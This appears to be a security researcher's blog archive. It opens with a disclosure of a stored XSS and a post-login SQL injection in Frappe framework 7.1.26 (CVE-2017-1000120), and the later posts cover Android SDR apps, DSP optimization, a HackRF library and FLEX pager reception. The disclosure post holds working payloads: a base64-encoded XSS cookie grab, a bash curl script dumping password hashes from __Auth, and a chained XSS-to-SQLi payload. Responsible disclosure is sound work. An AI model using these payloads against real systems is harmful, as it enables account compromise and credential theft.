Mittwoch, 21. Dezember 2016

SQL Injection in Frappe Framework

CVE-2017-1000120

This is the story how we found a stored XSS and a post-login SQL-injection in the Frappe framework (version 7.1.26), which represent quite a threat for themselves and allow for a multi-stage attack on any frappe-website if combined.

XSS

The XSS is found in frappe.handler.py, when using the /?cmd option on a page, there is a call to get_attr(cmd) (line 30).
def execute_cmd(cmd, from_async=False): """execute a request as python module""" for hook in frappe.get_hooks("override_whitelisted_methods", {}).get(cmd, []): # override using the first hook cmd = hook break method = get_attr(cmd) # line 30 if from_async: method = method.queue is_whitelisted(method) ret = frappe.call(method, **frappe.form_dict) # returns with a message if ret: frappe.response['message'] = ret ... def get_attr(cmd): """get method object from cmd""" if '.' in cmd: method = frappe.get_attr(cmd) else: method = globals()[cmd] # line 116 frappe.log("method:" + cmd) return method
If an invalid cmd is given, method = globals()[cmd] (line 116) throws an error. In the error any user input will be reflected.

Proof of concept:

http://[yourhost]/?cmd=a%3Cscript%3Eeval(atob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%22));%3C/script%3E
The command itself (alert(document.cookie)) is base64 encoded, since get_attribute() separates at ‘.’ characters.
Since the error message including the malicious command is logged in the admin interface (Error-Snapshot), this represents a stored XSS (admin only) and a reflected XSS for any other given user.

SQLi (CVE-2017-1000120)

The SQL-injection is found in frappe.share.py in the get_users() (line 86) function. Since this function is whitelisted, it may be called with any valid user account (no special privileges).
def get_users(doctype, name, fields="*"): """Get list of users with which this document is shared""" if isinstance(fields, (tuple, list)): fields = "`{0}`".format("`, `".join(fields)) return frappe.db.sql( "select {0} from tabDocShare where share_doctype=%s and share_name=%s" .format(fields), (doctype, name), as_dict=True) #line 86
As the code snippet shows, unfiltered user input is directly inserted into the SQL statement (using Python’s format()). Calling the following command from the JSConsole with a logged in account yields the __Auth database.
frappe.call({method: "frappe.share.get_users", args: {doctype: "", name: "", fields: "name, password, salt from __Auth union select 1,1,1"}, callback: function (r) {}})

POC:

#!/bin/bash URL="http://$1:$2/" USERNAME=? PASSWORD=? PAYLOAD="doctype=&name=&fields=name%2C+password%2C+salt+from+__Auth+union+select+1%2C1%2C1&cmd=frappe.share.get_users" echo "Target URL: $URL" # Login echo "Try login with test@test.de pw:test ..." curl -v -d "cmd=login&usr=$USERNAME&pwd=$PASSWORD&device=desktop" "$URL" > /tmp/frappe_login.txt 2>&1 cat /tmp/frappe_login.txt | grep Cookie | awk '{print $3}' | tr "\n" " " > /tmp/frappe_cookies.txt echo "Got Session Cookie: `cat /tmp/frappe_cookies.txt`" curl --cookie "`cat /tmp/frappe_cookies.txt`" ${URL}desk 2>/dev/null | grep csrf_token | awk -F\" '{print $2}' > /tmp/frappe_csrf_token.txt echo "Got CSRF Token: `cat /tmp/frappe_csrf_token.txt`" # SQL Injection echo "Trigger SQL Injection..." curl --header "X-Frappe-CSRF-Token: `cat /tmp/frappe_csrf_token.txt`" --cookie "`cat /tmp/frappe_cookies.txt`" -d $PAYLOAD $URL # Clean up rm /tmp/frappe_login.txt rm /tmp/frappe_cookies.txt rm /tmp/frappe_csrf_token.txt
Both issues have been fixed in a very timely manner (nice work from the frappe team here). The fix is included in version 7.1.29 of the frappe framework.

Multistage

To line out the pretty critical nature of the exploits, here is a combination of both, which allows database disclosure if any logged-in victim clicks on a malicious link or the administrator reads error-logs:
http://[yourhost]/?cmd=a%3Cscript%3Eeval(atob(%22ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgew0KICAgeD1mcmFwcGUuY2FsbCh7bWV0aG9kOiAiZnJhcHBlLnNoYXJlLmdldF91c2VycyIsIGFyZ3M6IHtkb2N0eXBlOiAiIiwgbmFtZTogIiIsZmllbGRzOiAibmFtZSwgcGFzc3dvcmQsIHNhbHQgZnJvbSBfX0F1dGggdW5pb24gc2VsZWN0IDEsMSwxIn0sY2FsbGJhY2s6IGZ1bmN0aW9uKHIpIHt9fSk7DQogICBhbGVydCgiWFNTISBBbmQgZXZlbiBiZXR0ZXIsIGNsaWNrIG9rYXkgdG8gc2VlIHNvbWUgbWFnaWMhIik7DQogICBhbGVydChKU09OLnN0cmluZ2lmeSh4LnJlc3BvbnNlSlNPTikpOw0KfSwgZmFsc2UpOw==%22));%3C/script%3E
Here the non-encoded POC:
document.addEventListener('DOMContentLoaded', function() { x=frappe.call({method: "frappe.share.get_users", args: {doctype: "", name: "",fields: "name, password, salt from __Auth union select 1,1,1"},callback: function(r) {}}); alert("XSS! And even better, click okay to see some magic!"); alert(JSON.stringify(x.responseJSON)); }, false);
The EventListener is used since we need to access some JS which is loaded after our XSS, so we needed to delay the malicious code.

Fabian Ullrich (fullrich[at]fullsec.de), Dennis Mantz (dennis.mantz@googlemail.com)

Link to CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-1000120

Freitag, 7. Oktober 2016

Join the beta program for RF Analyzer

It took me quite some time to get the new RF Analyzer version done (I had a lot of other things going on, mainly studying on my master..).
Now I want to continue to release new versions more continuously again and therefore I started a beta program to ensure the stability of the app does not suffer.

Here is the link to join the beta program:
https://play.google.com/apps/testing/com.mantz_it.rfanalyzer

If you didn't get the app from Google Play, the beta is also available on GitHub:
https://github.com/demantz/RFAnalyzer/blob/release_ver13/RFAnalyzer.apk?raw=true

Version 1.13 will contain many bugfixes (collected over the year) and also the promised bookmark feature. For the future I plan to support the SDRplay and include digital demodulation modes (PSK31, ...)

changelog for version 1.13
 - Bookmark frequencies
 - Including hackrf_android 1.12 (support for rad1o)
 - Select unit for frequency and bandwidth (MHz,kHz,Hz) in jump dialog
 - Many bugfixes

At this point I want to thank everyone who contacted me and providing me with a ton of feedback and bug reports! Please keep it up!

Freitag, 13. März 2015

Wear Network Notifications: My first Android Wear App

After owning a Android Wear device (more specific: a LG G Watch R) for some months now, I finally started my first little Wear project! It's a small app called "Wear Network Notifications" and it's available for free on Google Play (and GitHub) as of today ;)


Wear Network Notifications

Around three weeks ago my dad asked me if there is any app for his LG G Watch that would show him the current connectivity of his phone. Just so that he knows, e.g. while driving, if he could receive phone calls and emails at the moment. I searched the Google Play store and didn't find a sufficient solution for his problem. And indeed I always wanted to know if my Nexus 5 is currently using the wifi network or eats up my cellular data^^ So I started this project!




Wear Network Notifications (or just 'WNN') will notify you on events related to the network connection of your phone. For example, if you loose the connection to your home wifi you will get a notification that you are now connected to cellular network and using mobile data. It will also show you the current signal strength of the network as well as its name and update those values every time the screen of the watch is turned on.

WNN is highly customizable so that specific notifications can be deactivated or vibration can be switched off. I focused on a very battery friendly solution and that's why the notification won't be updated periodically. It will perform updates in a smart way every time you turn on your watches screen (e.g. by tilting your arm) which will trigger a Broadcast event. By using this technique the watch will show you the latest signal strength measurements every time you actually look at it and else saves your battery (both the watch and the phone battery).

As a bonus, it will also notify you if your watch looses the Bluetooth connection to the phone. This is exactly what all the 'Did you forget your phone?'-apps are doing and therefore you won't need those apps any more.

Wear Network Notifications is open source software released under the GNU General Public License v2 and you can download the source code on GitHub:
https://github.com/demantz/WearNetworkNotifications

It is also available for free download on the Google Play platform:
https://play.google.com/store/apps/details?id=com.mantz_it.wearnetworknotifications

If you want to see a quick demonstration of WNN you should watch this video:


Give it a try and tell me what you think! If you find some bugs or if you want to request more features just open an issue on GitHub: https://github.com/demantz/WearNetworkNotifications/issues

And if you like the app, I would really appreciate a small donation ;)


Android Wear (my Opinion)

Now I have to write some more words about my opinion about Android Wear.

I always knew that I would buy an Android Watch sooner or later. I like Android and developing on this platform and I always preferred functional watches over expensive and stylish ones. Now that I have lived with my LG watch for about 4 months I would say that Android Wear is awesome but still has a long way to go. It could offer much more features and I'm very confident that Google will add those very soon (especially because at the moment we have a heavy battle on the wearable OS market with Apple joining the game in April).

From the developer point of view it is also clearly recognisable that Android Wear is a new OS with lots of annoying bugs still in there. Just to give an example, I work on a second Wear app in parallel. It is a guitar tuner for the watch. While developing on this app I witnessed a bug that will render SurfaceViews all black if the SurfaceView is screen filling (here is the link to the issue: https://code.google.com/p/android/issues/detail?id=82985). It took me days to find a work-around for this one -.- And there are more..

But I think this is how it is with a new system. I'm definitely looking forward to the next versions of Android Wear!

Freitag, 31. Oktober 2014

Performance optimizations of the demodulation code of RF Analyzer

When I started implementing AM and FM demodulation for the RF Analyzer, I first built a receiver in GNU Radio Companion and then tried to rebuild it in Java. The basic blocks in the receiver are pretty simple and soon I had working code. But I had to recognize how poorly it performs on an Android device with limited CPU power. I was far from performing demodulation in real time and so I had to re-build many parts and optimize them.

Here's a little post about some of the things I did to optimize the demodulation process and get it running in real time. By the way: The version I am talking about is RF Analyzer 1.07. Available on Google Play (https://play.google.com/store/apps/details?id=com.mantz_it.rfanalyzer) or, if you want to have a look into the source code, on GitHub (https://github.com/demantz/RFAnalyzer).


<UPDATE>
I've got a hint from Michael Ossmann to use single precision floating point variables instead of doubles. This this turned out to be a very significant optimization since it speeds up every operation performed on the signal samples. Version 1.08 contains these changes along with some other, rather minor optimizations.
</UPDATE>

Channel Selection

In order to shift the interesting signal down to base band it has to be multiplied by a complex cosine. This has to be done before any sample rate decimation is possible and therefore this will always run at the highest sample rate in our receive chain.

I was already using a lookup table to convert the signed interleaved IQ bytes from the HackRF to floating point values. So I decided to extend this table to also include the mixed values:

2-dimensional array as lookup table for samples multiplied by a cosine

By using this lookup table I don't have to do any multiplication to mix the signal down to baseband. The table has to be recreated as soon as the user changes the channel frequency:

cosineRealLookupTable = new float[bestLength][256];
cosineImagLookupTable = new float[bestLength][256];
float cosineAtT;
float sineAtT;
for (int t = 0; t < bestLength; t++) {
  cosineAtT = (float) Math.cos(2 * Math.PI * mixFrequency * t / (float) sampleRate);
  sineAtT = (float) Math.sin(2 * Math.PI * mixFrequency * t / (float) sampleRate);
  for (int i = 0; i < 256; i++) {
  cosineRealLookupTable[t][i] = (i-128)/128.0f * cosineAtT;
  cosineImagLookupTable[t][i] = (i-128)/128.0f * sineAtT;
  }
}

This lookup table strategy effectively gets rid of any multiplications needed for downmixing and speeds things up a lot.


Sample rate decimation

The next block is a decimating low pass filter used to slice out the interesting signal and decimate the sample rate. It enables the actual demodulation process to be performed in real-time at a much lower sample rate. However, the decimating low pass will still run at the high sample rate and is therefore our next target for optimization.

I tried many different things to speed up this low pass filter and I ended up with splitting it into a cascade of decimating low pass filters. Each filter decimates the sample rate by two which means only the first filter will run at highest sample rate. Decimation by two enables us to implement the low pass filter as a half-band filter. A half-band filter is a low pass filter with cut-off frequency at fs/4 and the positive characteristic of having every second filter tap equal to zero:

A half-band low pass filter. Graphic from Richard G. Lions "Understanding Signal Processing"

Because every second filter tap is zero we can implement this filter to require only half the multiplications needed for a standard FIR filter. We will also take advantage of the symmetry of the filters taps, effectively reducing the number of multiplications again by factor two!

Finally I implemented the filter in a very un-flexible way by hard-coding the filter tap values into the filter method. This gets rid of some conditional structures and array lookups in the code and makes it very fast at the cost of very ugly, un-flexible code.

By cascading a variable number of these filters we can decimate the sample rate by every integer power of 2. Note that the last filter in the line should always be a regular FIR filter with cut-off frequency < fs/4 to avoid aliasing.


Multithreading

It is obvious that we should take advantage of today's smartphones having multi-core CPUs. That's why we separate each block in our receiving chain into its own thread.

Biggest problem for multi-threading is always synchronization. I chose to use ArrayBlockingQueues to connect the threads together (sorry for the over wide image^^):

Every blue rectangle is a separate thread. The blocking queues help to synchronize them.
It is very important that we reuse the buffers by passing them back to the previous block every time we finished processing them. This will avoid memory allocations at runtime and the garbage collector going crazy.


Conclusion

The above design and implementation choices helped me to get demodulation running in real time. But this is only true if you run it on a device with a decent quad-core CPU. I don't have an old phone to test it on a weak CPU but I'm pretty sure it won't work on a dual- or single-core device.

If you tested the application on your phone, please leave a comment and tell me the device type and your experience.

I will try to further optimize the demodulation chain in order to get it running on older devices too! And of course to save battery! Any tips or hints are very welcome!

Sonntag, 19. Oktober 2014

RF Analyzer - Explore the frequency spectrum with the HackRF on an Android device

Over the last week I've been working on a new project, trying to build a spectrum analyzer for Android that works with my hackrf_android library. Now I finally reached the point were it is stable enough to be useful and I created the GitHub repository today:

https://github.com/demantz/RFAnalyzer

It is still very basic and I have a lot of ideas to extend its functionality, but I thought it's better to have testers involved as early as possible. Eventually it should evolve in something similar to GQRX, supporting different modes and devices. But that will take some time!

<UPDATE>

The new version of RF Analyzer (1.07) has now support for AM/FM demodulation! It is now also available on Google Play:

https://play.google.com/store/apps/details?id=com.mantz_it.rfanalyzer



See the readme on GitHub for a more detailed description!

</UPDATE>

RF Analyzer running on a Nexus 5

In this blog I'm going to show what you can do with the app and in the end I explain how it is working internally for those who like to play with the source code. I also tried to document the code as good as possible, but it is always easier if the basic flow of the program is explained before looking at it.

What you can do with it

Right now there aren't many fancy features. The app will present you with a simple UI showing the frequency spectrum including a waterfall plot. Here is a list of what you can do right now with version 1.00:
  • Browse the spectrum by scrolling horizontally
  • Zoom in and out, both horizontally and vertically
  • Adjust the sample rate and center frequency to match the current view of the screen by double tapping
  • Auto scale the vertical axis
  • Jump directly to a frequency
  • Adjust the gain settings of the HackRF
  • Select a pre-recorded file as source instead of a real HackRF
  • Change the FFT size
  • Setting the frame rate either to a fixed value or to automatic control
  • Activate logging and showing the log file
I'm planning to also support the rtl-sdr in the future and of course I want to include the actual demodulation for common analog modes like AM, FM, SSB, ... But so far you can only browse the spectrum. Here is how you get it to work:

Plug the HackRF into your Android device using an OTG (on-the-go) cable. You can get those cables for around 3$ and you can also find them as Y-version which enables external powering the HackRF, for those phones/tablets that don't deliver enough power. After you start RF Analyzer you can hit the start button in the action bar and it should prompt you for the permission to access the USB device. Once you did that the FFT will start:

FFT at 20 Msps showing FLEX pagers at 931 MHz

Use common gestures to zoom and scroll both vertically and horizontally. Note that the vertical axis of the FFT plot also affects the colors of the waterfall plot:

Zoomed in (both vertical and horizontal) view

If you scroll outside the current range of the FFT or if you zoom so that the resolution of the FFT is too low you can simply double tap the screen. RF Analyzer will re-tune the HackRF to the frequency currently centered on the screen and also ajust the sample rate so that the FFT covers exactly the frequency range that is currently visible:

The resolution of the FFT is too low when zoomed in too closely. And we scrolled to far right that we can see the end of the FFT on the right site

After double tapping the HackRF is tuned to 931,61 MHz (note the DC offset peak!) and the sample rate is now adjusted to about 2.5 Msps so that we see the full FFT resolution again

You can also use the autoscale button in the action bar to adjust the vertical scale so that it ranges from the minimum to the maximum of the currently visible values of the FFT:



If you want to jump to a certain frequency, use the 'set frequency' button and it will prompt you to enter a new frequency:



The gain settings of the HackRF (both VGA and LNA gain) can be accessed through the 'set gain' button in the overflow menu:



In the settings activity you can:
  • Select other source types (currently only HackRF or file source)
  • Set the FFT size
  • Set the screen orientation (auto / landscape / portrait)
  • Turn autostart on and off (so that you don't have to hit the start button every time)
  • Set the frame rate to auto or a fixed value (useful if you want a linear time axis in the waterfall plot)
  • Deactivate vertical zoom and scrolling (so that you don't accidentally alter the vertical scale while scrolling through frequencies)
  • Turn on logging and set the location of the log file.
  • Show the log file
Settings Activity of RF Analyzer on a Nexus 7

Implementing the file source was helpful for debugging the application. It is also a way to test the app if you don't have an OTG cable or your phone/tablet doesn't output enough power for the HackRF. Selecting the file source type will allow you to use RF Analyzer with recorded samples from hackrf_transfer or Test_HackRF. I've uploaded a short capture of some FLEX pager signals for testing: FLEX Pager at 931MHz (2Msps)

How it works

For those who want to play with the sources of RF Analyzer (GPLv2) I want to quickly explain the internal structure of the app:

(Uncomplete) class diagram of RF Analyzer. Underlined classes are running in seperate threads. Gray elements are external modules.

To support different devices I defined a common interface that is implemented by all classes which represent sources of IQ samples. The Scheduler will continuously read samples from the source to prevent the receive buffers of the device to fill up. It forwards samples in packets of the size of the FFT to the AnalyzerProcessingLoop by inserting them in a queue. If the queue is full, the samples are thrown away in order to not block the input device. The AnalyzerProcessingLoop also runs in a separate thread and reads the sample packets from the queue, processes them with the help of the FFT class and then calls draw() on the AnalyzerSurface. This method draws the given FFT samples on a SurfaceView and also draws a new line of the waterfall plot as well as the horizontal and vertical axis.

For a more detailed impression of how the app works, have a look into the sources on GitHub. I tried my best to add helpful comments to understand the flow of the program.

If you have any questions, comments or any other input, don't hesitate to leave a comment or contact me directly on Twitter:  @dennismantz

Have fun testing it! ;)

Here is the video were I demonstrate the old version of RF Analyzer:



Dienstag, 7. Oktober 2014

hackrf_android - Using the HackRF with a Android device

Since I received my HackRF last month I wanted to use it with an Android device. I own a Nexus 7 and a Nexus 5 and both are able to act as USB host. I also have an OTG cable to connect other USB devices to them. So I started to port Michael Ossmann's libhackrf library to Android and now I want to present the first alpha version. There is still a lot to do and to implement, but at least it's possible to get some samples out of the air and into the phone/tablet ;)

Receiving at 15 Msps on a Nexus 5
OTG cable (available for ~ 3$)

JNI vs. Pure Java

So the hackrf_android library is entirely written in Java. I thought about using Java Native Interface (JNI) to just reuse the original code from hackrf.c without modifications, but I decided not to do so. The advantage of a pure Java library is, that it is very easy to use (no need to care about NDK and JNI stuff). However, using the JNI approach would have advantages too, e.g. the hackrf.c code is completely tested and it fully implements all features. So maybe in the future I will give it a try.

The hackrf_android library

You can find the library on github: https://github.com/demantz/hackrf_android
The repository contains the library sources and an example application. Binaries of both are also in the rep if you don't want to build them on your own.

Basically the library consists only of the main class: Hackrf. In addition there is an HackrfUsbException class and a HackrfCallbackInterface which both don't contain much code. The Hackrf class has a static method called initHackrf(). This method will try to enumerate and open the HackRF on the USB port. This will require the user to hit OK when he is asked for the permission to do so. Therefore initHackrf() works asynchronously. It takes an instance of HackrfCallbackLibrary as argument and will call the onHackrfReady() method of this instance as soon as the device is ready to use. This call contains an instance of the Hackrf class which is then used for all operations on the device.

There are methods to set and get parameters of the device. Right now it is possible to:

  • Read Board ID from HackRF
  • Read Version from HackRF
  • Read Part ID and Serial Number from HackRF
  • Set Sample Rate of HackRF
  • Set Frequency of HackRF
  • Set Baseband Filter Width of HackRF
  • Compute Baseband Filter Width for given Sample Rate
  • Set VGA Gain (Rx/Tx) of HackRF
  • Set LNA Gain of HackRF
  • Set Amplifier of HackRF
  • Set Antenna Port Power of HackRF
  • Set Transceiver Mode of HackRF

Receiving Samples

The Hackrf class will put the samples into an ArrayBlockingQueue as they arrive over the USB connection. A reference to this queue will be returned to the application when it calls startRx(). The application can then grab the packets from the queue. Each queue element is a byte array containing the samples. The packets (arrays) all have a fixed length, which can be determined by calling getPacketSize(). These packets are the raw packets that are received through the USB connection. Make sure you pass packets you don't need anymore back to the buffer pool of the hackrf library. Otherwise the performance will drop because of the many memory allocations and garbage collection runs. Inside the packets the samples are stored as signed 8-bit values in pairs of two (first the quadrature sample then the in-phase sample - took me some time to find that out^^). Right now I set the packet size to 16KB. This might not be ideal. If it is to low (I started with 512B) the samples aren't getting fast enough from the HackRF to the Android device. If it is to high (I tried 256KB - same as in hackrf.c) then most of the bytes in the packets will be zero. Feel free to experiment with this, all you have to do is change the packetSize attribute in Hackrf.java.

Note that the size of the queue (measured in bytes!) is defined by the application as an argument to initHackrf(). Make sure you choose a large enough queue to buffer the samples between the hackrf library and your application. If the application doesn't pull the samples fast enough out of the queue, it will ran full pretty quickly and the hackrf will stop receiving. What I noticed on the Nexus 7: When writing the samples to a file (using a BufferedOutputStream), you can't set the sample rate to values higher than 2Msps. The write procedure to file will be too slow to get the samples fast enough out of the queue. Can anyone confirm this? It seems strange to me and I don't have this problem with my Nexus 5 (15Msps to a file - works like a charm!).

How to use it - a quick example

The example application I want to show you is also in the git repository. I used Eclipse with the ADT plugin to write it. If you want to do so too, just create two new Android Projects from existing sources and choose the root directory of the repository for the library and the example directory for the example App. Make sure that the example App is either linked against the library project (this should be the default case) or against the hackrf_android.jar file.

The example App shows the user this screen:


After opening the Hackrf the user can show some information about the device (this is equivalent to run the hackrf_info command from the hackrf tools) and he can start receiving. Right now the only parameters that can be adjusted through the GUI is sample rate and frequency. I will extend this as soon as I have time for it. The received samples will be written to the external memory (/storage/sdcard0/Test_HackRF/hackrf_receive.iq). You can view a nice fft of this file by copying it on a linux machine and running baudline with the following settings (Don't forget to adjust the samplerate and baseband frequency):

 cat hackrf_receive.io | baudline -stdin -quadrature -channels 2 -flipcomplex -format s8  -overlap 100 -memory 512 -fftsize 4096 -record -basefrequency 97000000 -samplerate 2000000


Baudline showing the fft of the recorded samples


Now I just want to point out the basic code snippets which are showing how to use the library in your App. Try to compare them to the example App in the repository, but notice, that I stripped off most of the code that is not related to using hackrf_android. So here is a minimal working example of how to receive samples in an App:

public class MainActivity extends Activity implements Runnable,
                                    HackrfCallbackInterface {

private boolean stopRequested = false;

// Called when the button "Open HackRF" is clicked
public void openHackrf(View view) {
    // at 2 Msps we will buffer for 1 second
    int queueSize = 2000000 * 2;    // each sample is 2 bytes
 
    if (!Hackrf.initHackrf(view.getContext(), this, queueSize))
    {
        System.out.println("No HackRF could be found!\n");
    }
}

// Called when the button "RX" is clicked
public void rx(View view) {
    stopRequested = false;
    // Run RX in separate thread to keep GUI responsive:
    new Thread(this).start();
}

// Called by hackrf_android library when device was opened successfully
public void onHackrfReady(Hackrf hackrf) {
    System.out.println("HackRF is ready!\n");
    this.hackrf = hackrf;
}

// Called by hackrf_android library when device could not be opened
public void onHackrfError(String message) {
    System.out.println("Error while opening HackRF: "+message+"\n");
}

// Runs in a separate thread
public void run() {
    try {
        System.out.print("Setting Sample Rate to 2000000 Sps...");
        hackrf.setSampleRate(2000000, 1);
        System.out.print("ok.\nSetting Frequency to 97000000 Hz...");
        hackrf.setFrequency(97000000);
        int bbFilter = Hackrf.computeBasebandFilterBandwidth(
                                            (int)(0.75*2000000));
        System.out.print("ok.\nSet BB Filter to "+bbFilter+" Hz...");
        hackrf.setBasebandFilterBandwidth(basebandFilterWidth);
        System.out.print("ok.\nSetting RX VGA Gain to 20...");
        hackrf.setRxVGAGain(20);
        System.out.print("ok.\nSetting LNA Gain to 8...");
        hackrf.setRxLNAGain(8);
        System.out.print("ok.\nSetting Amplifier to 'off'...");
        hackrf.setAmp(false);
        System.out.print("ok.\nSetting Antenna Power to 'off'...");
        hackrf.setAntennaPower(false);
        System.out.print("ok.\n\n");
     
        File file = new File(Environment.
                getExternalStorageDirectory(), "hackrf_receive.io");
        BufferedOutputStream bufferedOutputStream =
                new BufferedOutputStream(new FileOutputStream(file));
     
        // This starts receiving:
        ArrayBlockingQueue<byte[]> queue = hackrf.startRX();
     
        while(!this.stopRequested)
        {
            // Grab a packet from the queue:
            byte[] packet = queue.poll(1000, TimeUnit.MILLISECONDS);
            bufferedOutputStream.write(packet); // write it to file
            hackrf.returnBufferToBufferPool(receivedBytes);
        }
        bufferedOutputStream.close();
        System.out.print( String.format("Finished! (Avg Rate: " +
            "%4.1f MB/s)\n", hackrf.getAverageTransceiveRate()/1000000.0));
    } catch (HackrfUsbException e) {
        System.out.print("error (USB communication)!\n");
    } catch (IOException e) {
        System.out.print("error (File IO)!\n");
    } catch (InterruptedException e) {
        System.out.print("error (Queue Interrupt)!\n");
    }
}

Porting the hackrf library was fun and easier than I thought. I also learned a lot about USB :) At this point I want to say thank you to Michael Ossmann for creating such a great open source SDR platform. I hope hackrf_android helps to make it even more useful / mobile than it already is!

Let me know if you have issues with the library or if you successfully used it in your own App! Doing DSP on Android devices won't be easy without something like GNU Radio, but I'm curious what you guys will implement ;)

UPDATE:
I made a short video presenting the example application:

Montag, 29. September 2014

Receiving FLEX Pager with the HackRF and GNU Radio 3.7

This weekend I was browsing through the RF spectrum with my HackRF and found some pretty strong FSK signals:

FLEX Pager in GQRX
They showed up frequently and on various channels. My first thought was: POCSAG pagers. It turned out that I was wrong, not POCSAG but FLEX pagers. After some more research it seems like TELUS is using FLEX pagers here on Vancouver Island (http://www.nettwerked.net/FLEX_Frequencies.txt).

I also found an example GNU Radio script from Parker Thompson (https://github.com/mothran/flex_hackrf). He is pointing out that it is a modification of the original script from Johnathan Corgan, who wrote the GNU Radio blocks for FLEX. Unfortunately it was incompatible with GNU Radio 3.7, so I had to change some pieces.

Here can you find my modified version:
https://github.com/demantz/flex_hackrf

Except for some scrambled messages it works like a charm ;) See for yourself:

running the flex.py script to receive pager messages. Somebody spilled urine ^^
As you can see, there are also lots of bit errors... I might have to work on the tuning. Also the error correction mechanism isn't implemented in the GNU Radio FLEX blocks yet.

But nevertheless, I had some fun ;) Hope someone finds this useful. Feel free to leave a comment!